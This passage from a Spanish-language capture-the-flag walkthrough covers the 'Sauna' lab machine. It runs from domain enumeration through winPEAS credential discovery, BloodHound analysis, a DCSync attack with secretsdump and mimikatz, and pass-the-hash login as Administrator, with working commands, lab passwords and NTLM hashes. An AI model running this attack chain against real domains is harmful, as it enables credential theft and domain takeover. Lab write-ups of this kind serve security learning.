rpcclient -U "fsmith%Thestrokes23" 10.10.10.175
rpcclient $>
Obtuvimos un acceso exitoso.
Veamos los usuarios existentes:
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[HSmith] rid:[0x44f]
user:[FSmith] rid:[0x451]
user:[svc_loanmgr] rid:[0x454]
Curioso, tenemos a otro usuario llamado svc_loanmgr, quizá tengamos que pivotear hacia este usuario para más privilegios, pero eso lo veremos más adelante.
Veamos los grupos existentes:
rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
No veo un grupo que podamos usar de momento.
Veamos si hay más usuarios administradores:
rpcclient $> querygroupmem 0x200
rid:[0x1f4] attr:[0x7]
rpcclient $> queryuser 0x1f4
User Name : Administrator
Full Name :
Home Drive :
Dir Drive :
Profile Path:
Logon Script:
Description : Built-in account for administering the computer/domain
Workstations:
Comment :
Remote Dial :
Logon Time : Wed, 16 Oct 2024 19:51:49 CST
Logoff Time : Wed, 31 Dec 1969 18:00:00 CST
Kickoff Time : Wed, 31 Dec 1969 18:00:00 CST
Password last set Time : Mon, 26 Jul 2021 11:16:16 CDT
Password can change Time : Tue, 27 Jul 2021 11:16:16 CDT
Password must change Time: Wed, 13 Sep 30828 20:48:05 CST
unknown_2[0..31]...
user_rid : 0x1f4
group_rid: 0x201
acb_info : 0x00000210
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x0000006e
padding1[0..7]...
logon_hrs[0..21]...
Solo hay uno.
Por último, veamos la información de los usuarios, quizá podamos ver alguna contraseña en texto claro:
rpcclient $> querydispinfo
index: 0xeda RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account for administering the computer/domain
index: 0xfaf RID: 0x451 acb: 0x00010210 Account: FSmith Name: Fergus Smith Desc: (null)
index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0xfad RID: 0x44f acb: 0x00000210 Account: HSmith Name: Hugo Smith Desc: (null)
index: 0xf10 RID: 0x1f6 acb: 0x00020011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account
index: 0xfb6 RID: 0x454 acb: 0x00000210 Account: svc_loanmgr Name: L Manager Desc: (null)
Nada, por lo menos, sabemos que existe otro usuario.
Post Explotación
Enumeración de Máquina Manual y con winPEAS
Primero, vamos a enumerar un poco nuestro usuario, para ver qué privilegios tenemos y a qué grupos pertenecemos.
Veamos nuestros privilegios:
*Evil-WinRM* PS C:\Users\FSmith\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Nada que podamos usar.
Veamos toda la información de nuestro usuario:
*Evil-WinRM* PS C:\Users\FSmith\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
====================== ==============================================
egotisticalbank\fsmith S-1-5-21-2966785786-3096785034-1186376766-1105
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
Nada, pero ahí comprobamos que pertenecemos al grupo Remote Management Users (WinRM), que es donde nos conectamos con Evil-WinRM.
Veámoslo de otra forma:
*Evil-WinRM* PS C:\Users\FSmith\Documents> net user fsmith
User name FSmith
Full Name Fergus Smith
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 1/23/2020 9:45:19 AM
Password expires Never
Password changeable 1/24/2020 9:45:19 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 10/16/2024 7:38:33 PM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *Domain Users
The command completed successfully.
Ahora, veamos si hay otro usuario registrado en el WinRM:
*Evil-WinRM* PS C:\Users\FSmith\Documents> net localgroup "Remote Management Users"
Alias name Remote Management Users
Comment Members of this group can access WMI resources over management protocols (such as WS-Management via the Windows Remote Management service). This applies only to WMI namespaces that grant access to the user.
Members
-------------------------------------------------------------------------------
FSmith
svc_loanmgr
The command completed successfully.
Ahí está el usuario svc_loanmgr.
Vamos a usar winPEAS para comprobar si encuentra alguna manera de escalar privilegios o de convertirnos en el usuario svc_loanmgr.
Aquí lo puedes descargar:
Descárgalo y cárgalo a la sesión de Evil-WinRM:
*Evil-WinRM* PS C:\Users\FSmith\Documents\BrkPrit> upload winPEASx64.exe
Info: Uploading ../content/winPEASx64.exe to C:\Users\FSmith\Documents\BrkPrit\winPEASx64.exe
Data: 13122900 bytes of 13122900 bytes copied
Info: Upload successful!
Y ejecuta el winPEAS:
*Evil-WinRM* PS C:\Users\FSmith\Documents\BrkPrit> .\winPEASx64.exe
[!] If you want to run the file analysis checks (search sensitive information in files), you need to specify the 'fileanalysis' or 'all' argument. Note that this search might take several minutes. For help, run winpeass.exe --help
ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
((((((((((((((((((((((((((((((((
(((((((((((((((((((((((((((((((((((((((((((
((((((((((((((**********/##########(((((((((((((
((((((((((((********************/#######(((((((((((
((((((((******************/@@@@@/****######((((((((((
((((((********************@@@@@@@@@@/***,####((((((((((
(((((********************/@@@@@%@@@@/********##(((((((((
(((############*********/%@@@@@@@@@/************((((((((
((##################(/******/@@@@@/***************((((((
((#########################(/**********************(((((
((##############################(/*****************(((((
((###################################(/************(((((
((#######################################(*********(((((
((#######(,.***.,(###################(..***.*******(((((
((#######*(#####((##################((######/(*****(((((
((###################(/***********(##############()(((((
(((#####################/*******(################)((((((
((((############################################)((((((
(((((##########################################)(((((((
((((((########################################)(((((((
((((((((####################################)((((((((
(((((((((#################################)(((((((((
((((((((((##########################)(((((((((
((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((
ADVISORY: winpeas should be used for authorized penetration testing and/or educational purposes only.Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own devices and/or with the device owner's permission.
WinPEAS-ng by @hacktricks_live
...
...
...
ÉÍÍÍÍÍÍÍÍÍ͹ Home folders found
C:\Users\Administrator
C:\Users\All Users
C:\Users\Default
C:\Users\Default User
C:\Users\FSmith : FSmith [AllAccess]
C:\Users\Public
C:\Users\svc_loanmgr
ÉÍÍÍÍÍÍÍÍÍ͹ Looking for AutoLogon credentials
Some AutoLogon credentials were found
DefaultDomainName : EGOTISTICALBANK
DefaultUserName : EGOTISTICALBANK\svc_loanmanager
DefaultPassword : Moneymakestheworldgoround!
ÉÍÍÍÍÍÍÍÍÍ͹ Password Policies
È Check for a possible brute-force
Domain: Builtin
SID: S-1-5-32
MaxPasswordAge: 42.22:47:31.7437440
MinPasswordAge: 00:00:00
MinPasswordLength: 0
PasswordHistoryLength: 0
PasswordProperties: 0
=================================================================================================
Domain: EGOTISTICALBANK
SID: S-1-5-21-2966785786-3096785034-1186376766
MaxPasswordAge: 42.00:00:00
MinPasswordAge: 1.00:00:00
MinPasswordLength: 7
PasswordHistoryLength: 24
PasswordProperties: DOMAIN_PASSWORD_COMPLEX
...
...
...
Excelente, encontró la contraseña del usuario svc_loanmng en texto claro, aunque aparece con su nombre completo.
Vamos a comprobar si es correcta esta contraseña para ese usuario:
crackmapexec smb 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
SMB 10.10.10.175 445 SAUNA [*] Windows 10 / Server 2019 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.10.175 445 SAUNA [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround!
Parece que sí funciona.
Entonces, debería funcionar con WinRM:
crackmapexec winrm 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
SMB 10.10.10.175 5985 SAUNA [*] Windows 10 / Server 2019 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
HTTP 10.10.10.175 5985 SAUNA [*] http://10.10.10.175:5985/wsman
WINRM 10.10.10.175 5985 SAUNA [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround! (Pwn3d!)
Muy bien, ya solo conectemos a ese usuario con Evil-WinRM:
evil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> whoami
egotisticalbank\svc_loanmgr
Enumeración de AD con BloodHound y SharpHound
Si enumeramos este usuario, no encontraremos mucho, por lo que ahora sí usaremos BloodHound y SharpHound.
Yo usare BloodHound 4.3.1 y SharpHound 1.1.1.
Carga SharpHound a la sesión de Evil-WinRM:
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents\BrkPrit> upload SharpHound.exe
Info: Uploading ../content/SharpHound.exe to C:\Users\svc_loanmgr\Documents\BrkPrit\SharpHound.exe
Data: 1402880 bytes of 1402880 bytes copied
Info: Upload successful!
Vamos a ejecutarlo:
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents\BrkPrit> .\SharpHound.exe -c All
2024-10-16T20:16:21.3520698-07:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound
2024-10-16T20:16:21.5395688-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2024-10-16T20:16:21.5708143-07:00|INFORMATION|Initializing SharpHound at 8:16 PM on 10/16/2024
2024-10-16T20:16:21.6958147-07:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for EGOTISTICAL-BANK.LOCAL : SAUNA.EGOTISTICAL-BANK.LOCAL
2024-10-16T20:16:33.7583765-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2024-10-16T20:16:33.9301887-07:00|INFORMATION|Beginning LDAP search for EGOTISTICAL-BANK.LOCAL
2024-10-16T20:16:33.9770668-07:00|INFORMATION|Producer has finished, closing LDAP channel
2024-10-16T20:16:33.9770668-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2024-10-16T20:17:04.3366184-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 36 MB RAM
2024-10-16T20:17:28.8989489-07:00|INFORMATION|Consumers finished, closing output channel
2024-10-16T20:17:28.9458241-07:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2024-10-16T20:17:29.0552087-07:00|INFORMATION|Status: 94 objects finished (+94 1.709091)/s -- Using 42 MB RAM
2024-10-16T20:17:29.0552087-07:00|INFORMATION|Enumeration finished in 00:00:55.1266097
2024-10-16T20:17:29.1489427-07:00|INFORMATION|Saving cache with stats: 53 ID to type mappings.
53 name to SID mappings.
0 machine sid mappings.
2 sid to domain mappings.
0 global catalog mappings.
2024-10-16T20:17:29.1645692-07:00|INFORMATION|SharpHound Enumeration Completed at 8:17 PM on 10/16/2024! Happy Graphing!
Descarguemos el archivo ZIP para que podamos usarlo con BloodHound:
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents\BrkPrit> download 20241016201728_BloodHound.zip BH-Sauna.zip
Info: Downloading C:\Users\svc_loanmgr\Documents\BrkPrit\20241016201728_BloodHound.zip to BH-Sauna.zip
Info: Download successful!
Y carguémoslo al BloodHound:
Parece que podíamos aplicar el Kerberoasting Attack a estos dos usuarios:
Pero no tenemos contraseñas válidas.
También aparece el único usuario con el que funciona el AS-REP Roasting attack:
Veamos el path más corto al grupo DOMAIN_ADMINS:
Parece que podemos aplicar el DCSync Attack con el usuario svc_loanmgr, pues podemos aplicarlo al dominio y parece que también al grupo ACCOUNT_OPERATORS.
Veamos este usuario y chequemos a qué usuarios de alto valor puede llegar:
En efecto, es lo principal que podemos hacer, pero hacia el dominio.
Si vamos hasta el Outbond Object Control, observa lo que tenemos:
Nuestro usuario tiene los permisos GetChanges y GetChangesAll, lo que nos permite aplicar el DCSync Attack.
Esto nos lo menciona BloodHound:
Y nos menciona cómo aplicarlo con Mimikatz:
Vamos a hacerlo.
Aplicando DCSync Attack
Para aplicar este ataque, tenemos dos opciones:
- Usar Mimikatz.
- Usar secretsdump de impacket.
Vamos a usar los dos.
Aplicando DCSync Attack con secretsdump de Impacket
Para esto, usaremos el secretsdump de impacket.
Solamente, debemos indicarle el dominio junto al usuario svc_loanmgr y la IP de la máquina. Cuando ejecutemos la herramienta, nos pedirá la contraseña, por lo que debemos dársela:
impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
...
...
Tenemos el hash NTLM del administrador.
Aplicando DCSync Attack con Mimikatz
Primero debemos tener el Mimikatz.exe. Normalmente, Kali lo tiene en su versión de 32 y 64 bits, tan solo hay que buscarlo:
locate mimikatz.exe
/usr/share/windows-resources/mimikatz/Win32/mimikatz.exe
/usr/share/windows-resources/mimikatz/x64/mimikatz.exe
Cópialo en tu directorio de trabajo y cárgalo a la sesión de Evil-WinRM:
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents\BrkPrit> upload mimikatz.exe
Info: Uploading ../content/mimikatz.exe to C:\Users\svc_loanmgr\Documents\BrkPrit\mimikatz.exe
Data: 1807016 bytes of 1807016 bytes copied
Info: Upload successful!
Usemos el comando que nos menciona BloodHound, le agregaremos exit
al final porque, si no, se seguirá ejecutando el mimikatz.exe:
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents\BrkPrit> .\mimikatz.exe 'lsadump::dcsync /domain:EGOTISTICAL-BANK.LOCAL /user:Administrator' exit
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # lsadump::dcsync /domain:EGOTISTICAL-BANK.LOCAL /user:Administrator
[DC] 'EGOTISTICAL-BANK.LOCAL' will be the domain
[DC] 'SAUNA.EGOTISTICAL-BANK.LOCAL' will be the DC server
[DC] 'Administrator' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : Administrator
** SAM ACCOUNT **
SAM Username : Administrator
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration :
Password last change : 7/26/2021 9:16:16 AM
Object Security ID : S-1-5-21-2966785786-3096785034-1186376766-500
Object Relative ID : 500
Credentials:
Hash NTLM: 823452073d75b9d1cf70ebdf86c7f98e
ntlm- 0: 823452073d75b9d1cf70ebdf86c7f98e
ntlm- 1: d9485863c1e9e05851aa40cbb4ab9dff
ntlm- 2: 7facdc498ed1680c4fd1448319a8c04f
lm - 0: 365ca60e4aba3e9a71d78a3912caf35c
lm - 1: 7af65ae5e7103761ae828523c7713031
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 716dbadeed0e537580d5f8fb28780d44
* Primary:Kerberos-Newer-Keys *
Default Salt : EGOTISTICAL-BANK.LOCALAdministrator
...
...
...
Listo, tenemos el hash NTLM del administrador.
Comprobando Hash y Ganando Acceso como Administrador Aplicando Pass-The-Hash
Probemos el hash de la contraseña para ver si funciona:
crackmapexec smb 10.10.10.175 -u 'administrator' -H '823452073d75b9d1cf70ebdf86c7f98e'
SMB 10.10.10.175 445 SAUNA [*] Windows 10 / Server 2019 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.10.175 445 SAUNA [+] EGOTISTICAL-BANK.LOCAL\administrator:823452073d75b9d1cf70ebdf86c7f98e (Pwn3d!)
Funciona, comprobemos con WinRM:
crackmapexec winrm 10.10.10.175 -u 'administrator' -H '823452073d75b9d1cf70ebdf86c7f98e'
SMB 10.10.10.175 5985 SAUNA [*] Windows 10 / Server 2019 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
HTTP 10.10.10.175 5985 SAUNA [*] http://10.10.10.175:5985/wsman
WINRM 10.10.10.175 5985 SAUNA [+] EGOTISTICAL-BANK.LOCAL\administrator:823452073d75b9d1cf70ebdf86c7f98e (Pwn3d!)
Podemos usar Evil-WinRM para conectarnos como administrador (aunque igual lo podemos hacer con psexec y wmiexec):
evil-winrm -i 10.10.10.175 -u 'administrator' -H '823452073d75b9d1cf70ebdf86c7f98e'
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
egotisticalbank\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 10/16/2024 6:51 PM 34 root.txt
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
...
Hemos completado la máquina.
Links de Investigación
- https://github.com/peass-ng/PEASS-ng/releases/tag/20241011-2e37ba11
- https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap#ldapsearch
- https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html#as-rep-roasting